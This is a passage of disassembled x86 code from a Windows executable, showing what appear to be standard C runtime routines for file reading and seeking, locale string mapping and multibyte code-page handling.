sub_41E021+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call dword_423074 ; ReadFile test eax, eax jnz short loc_41E0E9 call dword_42308C ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_41E0D1 mov dword_4894AC, 9 mov dword_4894B0, ecx jmp loc_41E20F ; --------------------------------------------------------------------------- loc_41E0D1: ; CODE XREF: sub_41E021+99j cmp eax, 6Dh jnz short loc_41E0DD loc_41E0D6: ; CODE XREF: sub_41E021+4Cj ; sub_41E021+51j xor eax, eax jmp loc_41E212 ; --------------------------------------------------------------------------- loc_41E0DD: ; CODE XREF: sub_41E021+B3j push eax call sub_41EC6F pop ecx jmp loc_41E20F ; --------------------------------------------------------------------------- loc_41E0E9: ; CODE XREF: sub_41E021+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41E1F9 test edx, edx jz short loc_41E10E cmp byte ptr [edi], 0Ah jnz short loc_41E10E or al, 4 jmp short loc_41E110 ; --------------------------------------------------------------------------- loc_41E10E: ; CODE XREF: sub_41E021+E2j ; sub_41E021+E7j and al, 0FBh loc_41E110: ; CODE XREF: sub_41E021+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41E1F3 loc_41E128: ; CODE XREF: sub_41E021+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41E1E3 cmp al, 0Dh jz short loc_41E144 mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41E1D5 ; --------------------------------------------------------------------------- loc_41E144: ; CODE XREF: sub_41E021+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41E162 mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41E159 add [ebp+arg_8], 2 jmp short loc_41E1B7 ; --------------------------------------------------------------------------- loc_41E159: ; CODE XREF: sub_41E021+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41E1D5 ; --------------------------------------------------------------------------- loc_41E162: ; CODE XREF: sub_41E021+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_423074 ; ReadFile test eax, eax jnz short loc_41E18A call dword_42308C ; RtlGetLastWin32Error test eax, eax jnz short loc_41E1D1 loc_41E18A: ; CODE XREF: sub_41E021+15Dj cmp [ebp+var_C], 0 jz short loc_41E1D1 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41E1AC mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41E1B7 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41E1D5 ; --------------------------------------------------------------------------- loc_41E1AC: ; CODE XREF: sub_41E021+176j cmp edi, [ebp+arg_4] jnz short loc_41E1BC cmp [ebp+var_1], 0Ah jnz short loc_41E1BC loc_41E1B7: ; CODE XREF: sub_41E021+136j ; sub_41E021+17Dj mov byte ptr [edi], 0Ah jmp short loc_41E1D4 ; --------------------------------------------------------------------------- loc_41E1BC: ; CODE XREF: sub_41E021+18Ej ; sub_41E021+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_41E217 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41E1D5 loc_41E1D1: ; CODE XREF: sub_41E021+167j ; sub_41E021+16Dj mov byte ptr [edi], 0Dh loc_41E1D4: ; CODE XREF: sub_41E021+199j inc edi loc_41E1D5: ; CODE XREF: sub_41E021+11Ej ; sub_41E021+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41E128 jmp short loc_41E1F3 ; --------------------------------------------------------------------------- loc_41E1E3: ; CODE XREF: sub_41E021+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41E1F3 or al, 2 mov [esi], al loc_41E1F3: ; CODE XREF: sub_41E021+101j ; sub_41E021+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41E1F9: ; CODE XREF: sub_41E021+DAj mov eax, [ebp+var_8] jmp short loc_41E212 ; --------------------------------------------------------------------------- loc_41E1FE: ; CODE XREF: sub_41E021+12j ; sub_41E021+39j and dword_4894B0, 0 mov dword_4894AC, 9 loc_41E20F: ; CODE XREF: sub_41E021+ABj ; sub_41E021+C3j or eax, 0FFFFFFFFh loc_41E212: ; CODE XREF: sub_41E021+B7j ; sub_41E021+1DBj pop edi pop esi pop ebx leave retn sub_41E021 endp ; =============== S U B R O U T I N E ======================================= sub_41E217 proc near ; CODE XREF: sub_418A0E+67p ; sub_419A23+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_48A8E0 push esi push edi jnb short loc_41E299 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:48A7E0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41E299 push eax call sub_41FB5E cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E25B mov dword_4894AC, 9 jmp short loc_41E2AA ; --------------------------------------------------------------------------- loc_41E25B: ; CODE XREF: sub_41E217+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_4230C0 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41E27B call dword_42308C ; RtlGetLastWin32Error jmp short loc_41E27D ; --------------------------------------------------------------------------- loc_41E27B: ; CODE XREF: sub_41E217+5Aj xor eax, eax loc_41E27D: ; CODE XREF: sub_41E217+62j test eax, eax jz short loc_41E28A push eax call sub_41EC6F pop ecx jmp short loc_41E2AA ; --------------------------------------------------------------------------- loc_41E28A: ; CODE XREF: sub_41E217+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41E2AD ; --------------------------------------------------------------------------- loc_41E299: ; CODE XREF: sub_41E217+Dj ; sub_41E217+2Aj and dword_4894B0, 0 mov dword_4894AC, 9 loc_41E2AA: ; CODE XREF: sub_41E217+42j ; sub_41E217+71j or eax, 0FFFFFFFFh loc_41E2AD: ; CODE XREF: sub_41E217+80j pop edi pop esi pop ebx retn sub_41E217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E2B1 proc near ; CODE XREF: sub_418A0E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41E2CD mov [edi+4], ebx loc_41E2CD: ; CODE XREF: sub_41E2B1+17j push 1 push ebx push esi call sub_41E217 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41E33B mov edx, [edi+0Ch] test dx, 108h jnz short loc_41E2F2 sub eax, [edi+4] jmp loc_41E404 ; --------------------------------------------------------------------------- loc_41E2F2: ; CODE XREF: sub_41E2B1+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41E32C mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_48A7E0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41E343 mov edx, ecx loc_41E31D: ; CODE XREF: sub_41E2B1+79j cmp edx, eax jnb short loc_41E343 cmp byte ptr [edx], 0Ah jnz short loc_41E329 inc [ebp+var_8] loc_41E329: ; CODE XREF: sub_41E2B1+73j inc edx jmp short loc_41E31D ; --------------------------------------------------------------------------- loc_41E32C: ; CODE XREF: sub_41E2B1+50j test dl, 80h jnz short loc_41E343 mov dword_4894AC, 16h loc_41E33B: ; CODE XREF: sub_41E2B1+2Dj or eax, 0FFFFFFFFh jmp loc_41E404 ; --------------------------------------------------------------------------- loc_41E343: ; CODE XREF: sub_41E2B1+68j ; sub_41E2B1+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41E351 mov eax, [ebp+var_8] jmp loc_41E404 ; --------------------------------------------------------------------------- loc_41E351: ; CODE XREF: sub_41E2B1+96j test byte ptr [edi+0Ch], 1 jz loc_41E3FC mov edx, [edi+4] test edx, edx jnz short loc_41E36A and [ebp+var_8], edx jmp loc_41E3FC ; --------------------------------------------------------------------------- loc_41E36A: ; CODE XREF: sub_41E2B1+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:48A7E0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41E3F6 push 2 push 0 push [ebp+var_C] call sub_41E217 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41E3BD mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41E3A8: ; CODE XREF: sub_41E2B1+104j cmp eax, ecx jnb short loc_41E3B7 cmp byte ptr [eax], 0Ah jnz short loc_41E3B4 inc [ebp+arg_0] loc_41E3B4: ; CODE XREF: sub_41E2B1+FEj inc eax jmp short loc_41E3A8 ; --------------------------------------------------------------------------- loc_41E3B7: ; CODE XREF: sub_41E2B1+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41E3F1 ; --------------------------------------------------------------------------- loc_41E3BD: ; CODE XREF: sub_41E2B1+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41E217 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41E3E4 mov ecx, [edi+0Ch] test cl, 8 jz short loc_41E3E4 test ch, 4 jz short loc_41E3E7 loc_41E3E4: ; CODE XREF: sub_41E2B1+124j ; sub_41E2B1+12Cj mov eax, [edi+18h] loc_41E3E7: ; CODE XREF: sub_41E2B1+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41E3F1: ; CODE XREF: sub_41E2B1+10Aj jz short loc_41E3F6 inc [ebp+arg_0] loc_41E3F6: ; CODE XREF: sub_41E2B1+D9j ; sub_41E2B1:loc_41E3F1j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41E3FC: ; CODE XREF: sub_41E2B1+A4j ; sub_41E2B1+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41E404: ; CODE XREF: sub_41E2B1+3Cj ; sub_41E2B1+8Dj ... pop edi pop esi pop ebx leave retn sub_41E2B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E409 proc near ; CODE XREF: sub_418D63+47p ; sub_418D63+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4238D8 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_489558, edi jnz short loc_41E47F push edi push edi push 1 pop ebx push ebx push offset dword_4238D0 mov esi, 100h push esi push edi call dword_4231C8 ; LCMapStringW test eax, eax jz short loc_41E45D mov dword_489558, ebx jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E45D: ; CODE XREF: sub_41E409+4Aj push edi push edi push ebx push offset dword_43BCF8 push esi push edi call dword_4231C4 ; LCMapStringA test eax, eax jz loc_41E597 mov dword_489558, 2 loc_41E47F: ; CODE XREF: sub_41E409+2Ej ; sub_41E409+52j cmp [ebp+arg_C], edi jle short loc_41E494 push [ebp+arg_C] push [ebp+arg_8] call sub_41E62D pop ecx pop ecx mov [ebp+arg_C], eax loc_41E494: ; CODE XREF: sub_41E409+79j mov eax, dword_489558 cmp eax, 2 jnz short loc_41E4BB push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4231C4 ; LCMapStringA jmp loc_41E599 ; --------------------------------------------------------------------------- loc_41E4BB: ; CODE XREF: sub_41E409+93j cmp eax, 1 jnz loc_41E597 cmp [ebp+arg_18], edi jnz short loc_41E4D1 mov eax, dword_489550 mov [ebp+arg_18], eax loc_41E4D1: ; CODE XREF: sub_41E409+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_423070 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41E597 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E52C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41E52C: ; CODE XREF: sub_41E409+10Ej cmp [ebp+var_24], edi jz short loc_41E597 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_423070 ; MultiByteToWideChar test eax, eax jz short loc_41E597 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4231C8 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41E597 test byte ptr [ebp+arg_4+1], 4 jz short loc_41E5AB cmp [ebp+arg_14], edi jz loc_41E626 cmp esi, [ebp+arg_14] jg short loc_41E597 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4231C8 ; LCMapStringW test eax, eax jnz loc_41E626 loc_41E597: ; CODE XREF: sub_41E409+66j ; sub_41E409+B5j ... xor eax, eax loc_41E599: ; CODE XREF: sub_41E409+ADj ; sub_41E409+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41E5AB: ; CODE XREF: sub_41E409+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_417830 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41E5DF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41E5DF: ; CODE XREF: sub_41E409+1C2j cmp ebx, edi jz short loc_41E597 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_4231C8 ; LCMapStringW test eax, eax jz short loc_41E597 cmp [ebp+arg_14], edi push edi push edi jnz short loc_41E606 push edi push edi jmp short loc_41E60C ; --------------------------------------------------------------------------- loc_41E606: ; CODE XREF: sub_41E409+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41E60C: ; CODE XREF: sub_41E409+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_423150 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_41E597 loc_41E626: ; CODE XREF: sub_41E409+165j ; sub_41E409+188j mov eax, esi jmp loc_41E599 sub_41E409 endp ; =============== S U B R O U T I N E ======================================= sub_41E62D proc near ; CODE XREF: sub_41E409+81p ; sub_421F1A+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_41E64A loc_41E63D: ; CODE XREF: sub_41E62D+1Bj cmp byte ptr [eax], 0 jz short loc_41E64A inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_41E63D loc_41E64A: ; CODE XREF: sub_41E62D+Ej ; sub_41E62D+13j cmp byte ptr [eax], 0 pop esi jnz short loc_41E655 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41E655: ; CODE XREF: sub_41E62D+21j mov eax, edx retn sub_41E62D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E658 proc near ; CODE XREF: sub_41EA1C+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41E7F1 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_48A8E4 mov [ebp+arg_0], esi jz loc_41E7E5 xor ebx, ebx cmp esi, ebx jz loc_41E7DB xor edx, edx mov eax, offset dword_43AE20 loc_41E68C: ; CODE XREF: sub_41E658+41j cmp [eax], esi jz short loc_41E702 add eax, 30h inc edx cmp eax, offset dword_43AF10 jl short loc_41E68C lea eax, [ebp+var_18] push eax push esi call dword_4231CC ; GetCPInfo cmp eax, 1 jnz loc_41E7D3 push 40h xor eax, eax pop ecx mov edi, offset byte_48AA00 cmp [ebp+var_18], 1 mov dword_48A8E4, esi rep stosd stosb mov dword_48AB04, ebx jbe loc_41E7C1 cmp [ebp+var_12], 0 jz loc_41E797 lea ecx, [ebp+var_11] loc_41E6DF: ; CODE XREF: sub_41E658+139j mov dl, [ecx] test dl, dl jz loc_41E797 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41E6F0: ; CODE XREF: sub_41E658+A8j cmp eax, edx ja loc_41E78B or byte_48AA01[eax], 4 inc eax jmp short loc_41E6F0 ; --------------------------------------------------------------------------- loc_41E702: ; CODE XREF: sub_41E658+36j push 40h xor eax, eax pop ecx mov edi, offset byte_48AA00 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43AE30[esi] loc_41E71E: ; CODE XREF: sub_41E658+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41E751 loc_41E725: ; CODE XREF: sub_41E658+F7j mov dl, [ecx+1] test dl, dl jz short loc_41E751 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41E74A mov edx, [ebp+var_4] mov dl, byte_43AE18[edx] loc_41E73F: ; CODE XREF: sub_41E658+F0j or byte_48AA01[eax], dl inc eax cmp eax, edi jbe short loc_41E73F loc_41E74A: ; CODE XREF: sub_41E658+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41E725 loc_41E751: ; CODE XREF: sub_41E658+CBj ; sub_41E658+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41E71E mov eax, [ebp+arg_0] mov dword_48A8FC, 1 push eax mov dword_48A8E4, eax call sub_41E83B lea esi, dword_43AE24[esi] mov edi, offset dword_48A8F0 movsd movsd pop ecx mov dword_48AB04, eax movsd jmp short loc_41E7E0 ; --------------------------------------------------------------------------- loc_41E78B: ; CODE XREF: sub_41E658+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41E6DF loc_41E797: ; CODE XREF: sub_41E658+7Ej ; sub_41E658+8Bj push 1 pop eax loc_41E79A: ; CODE XREF: sub_41E658+14Fj or byte_48AA01[eax], 8 inc eax cmp eax, 0FFh jb short loc_41E79A push esi call sub_41E83B pop ecx mov dword_48AB04, eax mov dword_48A8FC, 1 jmp short loc_41E7C7 ; --------------------------------------------------------------------------- loc_41E7C1: ; CODE XREF: sub_41E658+74j mov dword_48A8FC, ebx loc_41E7C7: ; CODE XREF: sub_41E658+167j xor eax, eax mov edi, offset dword_48A8F0 stosd stosd stosd jmp short loc_41E7E0 ; --------------------------------------------------------------------------- loc_41E7D3: ; CODE XREF: sub_41E658+51j cmp dword_48955C, ebx jz short loc_41E7E9 loc_41E7DB: ; CODE XREF: sub_41E658+27j call sub_41E86E loc_41E7E0: ; CODE XREF: sub_41E658+131j ; sub_41E658+179j call sub_41E897 loc_41E7E5: ; CODE XREF: sub_41E658+1Dj xor eax, eax jmp short loc_41E7EC ; --------------------------------------------------------------------------- loc_41E7E9: ; CODE XREF: sub_41E658+181j or eax, 0FFFFFFFFh loc_41E7EC: ; CODE XREF: sub_41E658+18Fj pop edi pop esi pop ebx leave retn sub_41E658 endp ; =============== S U B R O U T I N E ======================================= sub_41E7F1 proc near ; CODE XREF: sub_41E658+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_48955C, 0 cmp eax, 0FFFFFFFEh jnz short loc_41E811 mov dword_48955C, 1 jmp dword_423050 ; --------------------------------------------------------------------------- loc_41E811: ; CODE XREF: sub_41E7F1+Ej cmp eax, 0FFFFFFFDh jnz short loc_41E826 mov dword_48955C, 1 jmp dword_4231D0 ; --------------------------------------------------------------------------- loc_41E826: ; CODE XREF: sub_41E7F1+23j cmp eax, 0FFFFFFFCh jnz short locret_41E83A mov eax, dword_489550 mov dword_48955C, 1 locret_41E83A: ; CODE XREF: sub_41E7F1+38j retn sub_41E7F1 endp ; =============== S U B R O U T I N E ======================================= sub_41E83B proc near ; CODE XREF: sub_41E658+118p ; sub_41E658+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41E868 sub eax, 4 jz short loc_41E862 sub eax, 0Dh jz short loc_41E85C dec eax jz short loc_41E856 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E856: ; CODE XREF: sub_41E83B+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41E85C: ; CODE XREF: sub_41E83B+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41E862: ; CODE XREF: sub_41E83B+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41E868: ; CODE XREF: sub_41E83B+9j mov eax, 411h retn sub_41E83B endp ; =============== S U B R O U T I N E ======================================= sub_41E86E proc near ; CODE XREF: sub_41E658:loc_41E7DBp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_48AA00 rep stosd stosb xor eax, eax mov edi, offset dword_48A8F0 mov dword_48A8E4, eax mov dword_48A8FC, eax mov dword_48AB04, eax stosd stosd stosd pop edi retn sub_41E86E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E897 proc near ; CODE XREF: sub_41E658:loc_41E7E0p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_48A8E4 call dword_4231CC ; GetCPInfo cmp eax, 1 jnz loc_41E9D0 xor eax, eax mov esi, 100h loc_41E8C1: ; CODE XREF: sub_41E897+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41E8C1 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41E912 push ebx push edi lea edx, [ebp+var_D] loc_41E8E0: ; CODE XREF: sub_41E897+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41E907 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41E907: ; CODE XREF: sub_41E897+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41E8E0 pop edi pop ebx loc_41E912: ; CODE XREF: sub_41E897+42j push 0 lea eax, [ebp+var_514] push dword_48AB04 push dword_48A8E4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41F88F push 0 lea eax, [ebp+var_214] push dword_48A8E4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_48AB04 call sub_41E409 push 0 lea eax, [ebp+var_314] push dword_48A8E4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_48AB04 call sub_41E409 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41E98D: ; CODE XREF: sub_41E897+135j mov dx, [ecx] test dl, 1 jz short loc_41E9AB or byte_48AA01[eax], 10h mov dl, [ebp+eax+var_214] loc_41E9A3: ; CODE XREF: sub_41E897+127j mov byte_48A900[eax], dl jmp short loc_41E9C7 ; --------------------------------------------------------------------------- loc_41E9AB: ; CODE XREF: sub_41E897+FCj test dl, 2 jz short loc_41E9C0 or byte_48AA01[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41E9A3 ; --------------------------------------------------------------------------- loc_41E9C0: ; CODE XREF: sub_41E897+117j and byte_48A900[eax], 0 loc_41E9C7: ; CODE XREF: sub_41E897+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41E98D jmp short loc_41EA19 ; --------------------------------------------------------------------------- loc_41E9D0: ; CODE XREF: sub_41E897+1Dj xor eax, eax mov esi, 100h loc_41E9D7: ; CODE XREF: sub_41E897+180j cmp eax, 41h jb short loc_41E9F5 cmp eax, 5Ah ja short loc_41E9F5 or byte_48AA01[eax], 10h mov cl, al add cl, 20h loc_41E9ED: ; CODE XREF: sub_41E897+174j mov byte_48A900[eax], cl jmp short loc_41EA14 ; --------------------------------------------------------------------------- loc_41E9F5: ; CODE XREF: sub_41E897+143j ; sub_41E897+148j cmp eax, 61h jb short loc_41EA0D cmp eax, 7Ah ja short loc_41EA0D or byte_48AA01[eax], 20h mov cl, al sub cl, 20h jmp short loc_41E9ED ; --------------------------------------------------------------------------- loc_41EA0D: ; CODE XREF: sub_41E897+161j ; sub_41E897+166j and byte_48A900[eax], 0 loc_41EA14: ; CODE XREF: sub_41E897+15Cj inc eax cmp eax, esi jb short loc_41E9D7 loc_41EA19: ; CODE XREF: sub_41E897+137j pop esi leave retn sub_41E897 endp ; =============== S U B R O U T I N E ======================================= sub_41EA1C proc near ; CODE XREF: sub_41EE5A+9p ; sub_41EEB2+Dp ... cmp dword_48AB34, 0 jnz short locret_41EA37 push 0FFFFFFFDh call sub_41E658 pop ecx mov dword_48AB34, 1 locret_41EA37: ; CODE XREF: sub_41EA1C+7j retn sub_41EA1C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EA38 proc near ; CODE XREF: sub_418FB8+2Bp ; sub_418FB8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_48A8FC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41EA5C push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418910 add esp, 0Ch jmp short loc_41EABF ; --------------------------------------------------------------------------- loc_41EA5C: ; CODE XREF: sub_41EA38+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41EAA1 mov ecx, [ebp+arg_4] loc_41EA67: ; CODE XREF: sub_41EA38+5Bj mov al, [ecx] dec edx movzx esi, al test byte_48AA01[esi], 4 mov [edi], al jz short loc_41EA8B inc edi inc ecx test edx, edx jz short loc_41EA97 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41EA9D jmp short loc_41EA91 ; --------------------------------------------------------------------------- loc_41EA8B: ; CODE XREF: sub_41EA38+3Ej inc edi inc ecx test al, al jz short loc_41EAA1 loc_41EA91: ; CODE XREF: sub_41EA38+51j test edx, edx jnz short loc_41EA67 jmp short loc_41EAA1 ; --------------------------------------------------------------------------- loc_41EA97: ; CODE XREF: sub_41EA38+44j and byte ptr [edi-1], 0 jmp short loc_41EAA1 ; --------------------------------------------------------------------------- loc_41EA9D: ; CODE XREF: sub_41EA38+4Fj and byte ptr [edi-2], 0 loc_41EAA1: ; CODE XREF: sub_41EA38+2Aj ; sub_41EA38+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41EABC lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41EABC: ; CODE XREF: sub_41EA38+6Fj mov eax, [ebp+arg_0] loc_41EABF: ; CODE XREF: sub_41EA38+22j pop edi pop ebp retn sub_41EA38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EAC2 proc near ; CODE XREF: sub_4193EF+A2p ; sub_419A23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_48A8E0 push esi push edi jnb loc_41EC56 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:48A7E0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EC56 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EB13 loc_41EB0C: ; CODE XREF: sub_41EAC2+177j xor eax, eax jmp loc_41EC6A ; --------------------------------------------------------------------------- loc_41EB13: ; CODE XREF: sub_41EAC2+48j test al, 20h jz short loc_41EB23 push 2 push edi push ecx call sub_41E217 add esp, 0Ch loc_41EB23: ; CODE XREF: sub_41EAC2+53j 